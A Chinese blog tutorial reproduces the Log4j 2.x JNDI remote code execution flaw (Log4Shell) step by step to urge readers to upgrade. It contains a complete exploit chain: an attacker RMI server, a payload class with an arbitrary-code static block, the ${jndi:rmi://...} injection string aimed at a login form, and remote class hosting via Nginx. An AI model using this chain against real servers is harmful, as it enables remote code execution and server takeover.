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冰河连夜复现了Log4j最新史诗级重大漏洞
安全 漏洞
今天,我们就一起重现下Log4j的这个重大漏洞。希望各位小伙伴们了解到这个漏洞的严重性后,尽快升级项目中所适用的Log4j版本。

大家好,我是冰河~~

周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的2.14.0版本,这个版本存在重大漏洞啊!

但是有些小伙伴看起来对Log4j中存在的重大漏洞不以为意。“我们项目中使用的Log4j一直是2.14.0这个版本啊,一直没啥问题啊!”。哎,看来有些小伙伴对Log4j2.14.0版本存在的漏洞还是不太了解呀!

本文总览

图片

漏洞背景

相信有不少小伙伴都还记得在2021年12月份发布的Log4j(2.14.1及以下版本)重大漏洞,这个漏洞主要是利用Log4j支持的JNDI技术在服务器上执行任意代码。并且此漏洞的安全威胁巨大。官方给出的评估如下。

  • 公开程度:漏洞细节已公开。
  • 利用条件:无权限要求。
  • 交互要求:0 click。
  • 漏洞危害:高危、远程代码执行。
  • 影响范围:Log4j2.x <= 2.14.1。

以上评估来自:https://x.threatbook.cn/v5/article?threatInfoID=10470。

这个漏洞非常非常严重,但是有些小伙伴还在不以为然,今天,我们就一起重现下Log4j的这个重大漏洞。希望各位小伙伴们了解到这个漏洞的严重性后,尽快升级项目中所适用的Log4j版本。

另外,就像我写的《冰河的渗透实战笔记》中描述的那样,骇客和骇客有着本质的区别,本文会模拟骇客利用Log4j漏洞入侵服务器的整个过程。对渗透感兴趣的小伙伴可以在 冰河技术 公号回复 渗透笔记 获取《冰河的渗透实战笔记》电子书。

重现Log4j重大漏洞

为了重现Log4j的重大漏洞,我在IDEA中创建了一个Maven项目log4j-demo,如下所示。

图片

其中log4j-all模块表示本次重现Log4j重大漏洞的所有代码示例。后续为了更好的演示真实的环境效果,我将log4j-all中的代码由拆分成log4j-rmi和log4j-website两个Maven模块。

其中,大家要重点理解的是log4j-rmi模拟的是在一名骇客本地运行的RMI服务,而log4j-website模拟的是一个远程站点,也就是将要被入侵的服务器。在本文中会有详细的场景介绍。

总体项目依赖

打开log4j-demo(Maven父工程)的pom.xml文件,如下所示。

<modules>
<module>log4j-rmi</module>
<module>log4j-website</module>
<module>log4j-all</module>
</modules>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>

</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.6.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>

可以看到,在log4j-demo(Maven父工程)的pom.xml文件中只是依赖了Apache的2.1.40版本的Log4j,并没有其他多余的Maven依赖。

重现log4j-all漏洞

这里,我们首先以log4j-all模块为例,重现Log4j最新重大漏洞。

log4j-all整体说明

log4j-all模块整体的代码情况如下所示。

图片

如上图所示:

  • ​io.binghe.log4j.rmi​​包下的RmiObj类和RmiServer类模拟的是运行在骇客本地的RMI服务。
  • ​io.binghe.log4j​​包下的Log4jDemo类模拟的是远程站点。
  • log4j2.xml:Log4j的日志配置文件。

Log4j日志配置

首先看下log4j-all模块下resources目录下的log4j2.xml文件,如下所示。

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

可以看到,模块下对于Log4j的配置也比较简单,主要就是配置了一个info级别的日志输出,并且是输出到控制台。

模拟远程站点代码解析

(1)查看​​io.binghe.log4j.Log4jDemo​​类的代码,如下所示。

/**
* @author binghe (公众号:冰河技术)
* @version 1.0.0
* @description Log4j漏洞示例
*/
public class Log4jDemo {
private static final Logger LOGGER = LogManager.getLogger();

public static void main(String[] args){
try {
String str = "binghe";
LOGGER.info("输出的信息是:{}", str);
}catch (Exception e){}
}
}

相信不少小伙伴在使用Log4j时,会按照上面的方式打印日志。也就是使用Log4j打印日志的{}占位符,后面再跟上要打印的参数。运行下上面的代码,输出的日志如下所示。

10:45:07.560 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:binghe

可以看到,正确输出了日志信息​​输出的信息是:binghe​​。

(2)修改​​io.binghe.log4j.Log4jDemo​​类的代码中的str字符串变量,将其修改成如下所示。

String str = "${java:os}";

这里,我们将str字符串变量的值由原理的​​binghe​​​修改为​​${java:os}​​​,我们先不管​​${java:os}​​​是个什么鬼,继续运行​​io.binghe.log4j.Log4jDemo​​​类,看看输出的日志信息是​​${java:os}​​,还是别的什么鬼玩意儿,运行后输出的结果信息如下所示。

10:48:18.977 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Windows 10 10.0, architecture: amd64-64

看到没,输出的信息不是​​${java:os}​​​,而是我正在重现Log4j重大漏洞的电脑操作系统版本​​Windows 10 10.0, architecture: amd64-64​​。

我们继续将str字符串换成几个其他的变量值试试,如下所示。

  • 将str字符串换成​​${java:runtime}​​,输出的结果信息如下所示。
10:51:51.334 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation

可以看到,输出的结果信息是当前Java的运行时环境​​Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation​​​,并不是​​${java:runtime}​​。

  • 将str字符串换成​​${java:vm}​​,输出的结果信息如下所示。
10:53:20.974 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

可以看到,输出的结果信息是​​Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)​​​,并不是​​${java:vm}​​。

看到这里,可能就会有小伙伴有疑问了,Log4j为哈会打印有关操作系统和Java的相关信息呢?

这其实都是Log4j支持JNDI的结果,有关Log4j支持JNDI的信息,小伙伴们可以参考如下链接,这里我就不再过多的赘述了。

https://logging.apache.org/log4j/2.x/manual/lookups.html

在上面的示例中,我们演示的是Log4j支持的Java Lookup功能。

图片图片

上述图片来自:https://logging.apache.org/log4j/2.x/manual/lookups.html。

模拟骇客本地进程代码解析

(1)在​​io.binghe.log4j.rmi​​下存在这两个Java类,一个是RmiObj类,一个是RmiServer类,这两个类模拟的是在骇客本地运行的RMI服务。首先,来看下RmiObj的代码,如下所示。

/**
* @author binghe (公众号:冰河技术)
* @version 1.0.0
* @description 模拟log4j的漏洞
*/
public class RmiObj implements ObjectFactory {
static {
System.out.println("执行代码");
//这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

可以看到,RmiObj类的代码比较简单,它实现了​​javax.naming.spi.ObjectFactory​​​接口,但是并没有实现​​javax.naming.spi.ObjectFactory​​接口中的getObjectInstance()方法,在getObjectInstance()方法中直接返回null。

这里,重点是在RmiObj中写了一个静态代码块,如下所示。

static {
System.out.println("执行代码");
//这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。
}

就是这个静态代码块,让骇客利用Log4j的远程代码执行漏洞,可以在远程服务器上做任何想要做的事情。

这里,我们只是在静态代码块中简单的打印了​​执行代码​​四个字,如果你的项目被骇客盯上了,或许就没我这么友善了。

(2)接下来,看下​​io.binghe.log4j.rmi​​包下的RmiServer类,如下所示。

/**
* @author binghe (公众号:冰河技术)
* @version 1.0.0
* @description 模拟漏洞的RMIServer
*/
public class RmiServer {

public static void main(String[] args){
try{
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();

System.out.println("RMI Listener 1099 port");
Reference reference = new Reference("io.binghe.log4j.rmi.RmiObj", "io.binghe.log4j.rmi.RmiObj", null);

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("test", referenceWrapper);

}catch (Exception e){
e.printStackTrace();
}
}
}

RmiServer主要模拟的是在骇客本地运行的RMI进程,而且在log4j-all模块中​​io.binghe.log4j.rmi​​包下的RmiObj类和RmiServer都是在骇客本地的代码。

RmiServer类中的代码也是比较简单的,就是按照常规模式发了一个RMI服务。需要注意的是,在RmiServer类中使用Reference类加载了RmiObj类的代码,并且将RMI服务发布在1099端口上,路径是​​/test​​。

启动重现漏洞程序

(1)运行​​io.binghe.log4j.rmi.RmiServer​​类的main()方法骇客本地的RMI服务,启动后输出的日志信息如下所示。

RMI Listener 1099 port

(2)回到模拟远程站点的​​io.binghe.log4j.Log4jDemo​​代码,将其中的str字符串变量修改成如下所示。

String str = "${jndi:rmi://192.168.0.106:1099/test}";

其中,​​jndi:rmi://192.168.0.106:1099/test​​​就是利用Log4j的JNDI技术连接远程RMI服务,其中的​​192.168.0.106​​表示我本机的IP地址,1099是启动RMI服务监听的端口号,test是发布RMI服务的根目录。

(3)启动​​io.binghe.log4j.Log4jDemo​​类的main()方法,输出了如下的日志信息。

执行代码
11:38:22.380 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到,在模拟远程站点的Log4jDemo输出的日志中,不仅打印除了Log4j的日志,还打印了在模拟骇客本地RMI服务的​​io.binghe.log4j.rmi.RmiObj​​类中的代码。

这意味着什么呢?意味着在远程服务器上执行了骇客本地的程序,而骇客是可以在自己本地的​​io.binghe.log4j.rmi.RmiObj​​类的静态代码块中写任意代码的,是不是很恐怖,这确实是Log4j的一个重大漏洞。

漏洞具体场景分析

说到这里,可能有小伙伴不太理解上述代码的执行逻辑。这里,我给大家举一个具体场景的示例。

(1)一名骇客在自己的本地电脑或者自己的服务器上编写了RmiObj类和RmiServer类,并且在RmiObj类的静态代码块中写了很多破坏远程服务器的代码,比如木马程序、病毒程序、后门程序,死循环等等。在本地电脑或者自己的服务器上启动了RmiServer类来启动一个RMI服务,而RmiServer启动时会加载RmiObj类,如下所示。

图片图片

(2)在远程站点的Web登录页面中的用户名文本框中输入了字符串​​${jndi:rmi://192.168.0.106:1099/test}​​​,当前具体的IP地址和端口号以及RMI服务的根路径根据骇客的具体情况调整。点击登录按钮后模拟登录操作,就会将用户名​​${jndi:rmi://192.168.0.106:1099/test}​​和乱写的密码发送到远程站点的后台。

图片

如果远程站点的后台在接收到用户名​​${jndi:rmi://192.168.0.106:1099/test}​​和乱写的密码后,在没有做参数校验的情况下,直接利用Log4j按照如下方式,打印传递过来的用户名和密码。

String username = request.getParameter("username");
String password = request.getParameter("password");
logger.info("用户名为:{}, 密码为:{}", username, password);

此时就会触发Log4j的重大漏洞,在远程站点的服务器上执行骇客本地RmiObj类中的static静态代码块中编写的破坏服务器的代码。相信此时远程站点的服务器就会凉凉了。

至此,我们分析完log4j-all模块了。

重现真实场景漏洞

在log4j-all模块中,我们的所有程序都是在同一个代码模块中的,也就是都在同一个项目中,真实的环境是:RMI服务运行在骇客的本地电脑或者自己的服务器上,而远程站点会运行在远程服务器上。接下来,我们就开始模拟一个更加贴合真实环境的场景。

模拟真实场景项目说明

为了模拟真实场景,这里,我将log4j-all模块继续拆分成log4j-rmi模块和log4j-website模块,其中,log4j-rmi模块模拟运行在骇客本地或自己服务器上的RMI服务,而log4j-website模块模拟远程站点。

图片

log4j-website模块代码分析

在log-website模块中的代码比较简单,整体上在resources目录下有一个log4j2.xml文件,内容与log4j-all模块的log4j2.xml文件内容相同。在log-website模块的​​io.binghe.log4j​​包中存在一个Log4jDemo类,代码也与log4j-all模块中的Log4jDemo类的代码基本相同(有稍许不同)。这里,为了模拟远程站点一般部署在远程服务器上,这里将模拟远程站点的Log4jDemo类单独拆分成一个Maven模块工程。log4j-website模块代码结构如下所示。

图片

注意:在log-website模块中的Log4jDemo类的main()方法中会新增如下两行代码。

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

好了,这就是在log-website模块下模拟的远程站点的Log4jDemo类。

log4j-rmi模块代码分析

我们将log4j-all模块中模拟骇客本地RMI服务的RmiObj类和RmiServer类拆分到了log4j-rmi模块。log4j-rmi模块代码结构如下所示。

图片图片

其中,RmiObj类与log4j-all中的RmiObj类相同。而RmiServer类比log4j-all模块中的RmiServer类有稍许不同。我们来看下在log4j-rmi模块中的RmiServer类,如下所示。

/**
* @author binghe (公众号:冰河技术)
* @version 1.0.0
* @description 模拟漏洞的RMIServer
*/
public class RmiServer {
public static void main(String[] args){
try{
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();

System.out.println("RMI Listener 1099 port");
Reference reference = new Reference("RmiObj", "RmiObj", null);

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("test", referenceWrapper);

}catch (Exception e){
e.printStackTrace();
}
}
}

可以看到在log4j-rmi模块中的RmiServer类中,创建Reference对象时传递的参数与在log4j-all的RmiServer类中创建Reference对象时传递的参数不同。在RmiServer类中创建Reference对象时传递的参数是RmiObj的全类名,而这里传递的是简单类名。细心的读者应该已经发现了,我在log4j-rmi模块中将RmiObj类和RmiServer类都移动到了java目录下,并没有创建Java包。

第一次运行程序模拟真实场景

(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功,并监听了1099端口。

(2)运行log4j-website模块下的Log4jDemo类,输出的日志信息如下所示。

12:44:23.021 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Reference Class Name: RmiObj

可以看到,在log4j-website模块下的Log4jDemo类中并没有打印出log4j-rmi模块下的RmiObj类中static静态代码块中输出的信息。

也就是说,远程站点不会执行骇客本地的代码,真实环境不存在这个漏洞?答案是非也,真实环境也存在远程代码执行漏洞。

改造log4j-rmi模块代码

(1)到链接http://nginx.org/en/download.html下载一个Nginx,这里我下载的是Windows版本的Nginx,版本号是1.22.0,如下所示。

图片

(2)将下载后的Nginx进行解压,这里,我将Nginx解压到我本地电脑的D盘下的​​Nginx/nginx-1.22.0​​目录下,如下所示。

图片图片

(3)使用Maven编译log4j-demo整体功能,找到编译后的log4j-rmi模块下的​​target/classes​​目录下的RmiObj.class文件,如下所示。

图片

(4)将编译后的log4j-rmi模块下的​​target/classes​​目录下的RmiObj.class文件复制到Nginx的html目录下,如下所示。

图片

复制后的效果如下所示。

图片

(5)双击Nginx目录下nginx.exe文件启动Nginx,如下所示。

图片图片

(6)修改log4j-rmi模块下的RmiServer类的代码,将创建Reference对象时,调用Reference类的构造方法的第三个参数修改成​​http://127.0.0.1:80/​​,如下所示。

Reference reference = new Reference("RmiObj", "RmiObj", "http://127.0.0.1:80/");

上述代码表示创建Reference类时,加载了Nginx下的RmiObj.class文件中的RmiObj类。

至此,log4j-rmi模块的代码就改造完成了。

第二次运行程序模拟真实场景

(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功,并监听了1099端口。

(2)运行log4j-website模块下的Log4jDemo类,输出的日志信息如下所示。

执行代码
13:04:22.542 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到,这次在log4j-website模块下的Log4jDemo程序的命令行打印出了从Nginx中加载的RmiObj类的静态代码块中输出的信息,而Nginx中的RmiObj类其实就是骇客本地的RmiObj类。

至此,我们再次重现了Log4j的重大漏洞。

漏洞真实场景分析

这里真实场景分析中,远程站点服务器的执行流程与重现log4j-all漏洞中漏洞具体场景分析下的远程站点服务器执行流程相同,都是如下图所示。

图片

而骇客本地RMI服务程序的执行流程稍有不同,这里的流程如下图所示。

图片

理解起来也比较简单,这里,我就不再赘述了。

写在最后

这次的Log4j远程代码执行漏洞威胁很大,不仅很多开源软件受其影响,而且还有很多服务器也深受其害。所以,各位小伙伴们如果在项目中使用的Log4j的版本小于等于2.14.1,那就尽快升级到更高版本的Log4j吧,升级Log4j刻不容缓,大家赶紧行动起来。

责任编辑:姜华 来源: 冰河技术
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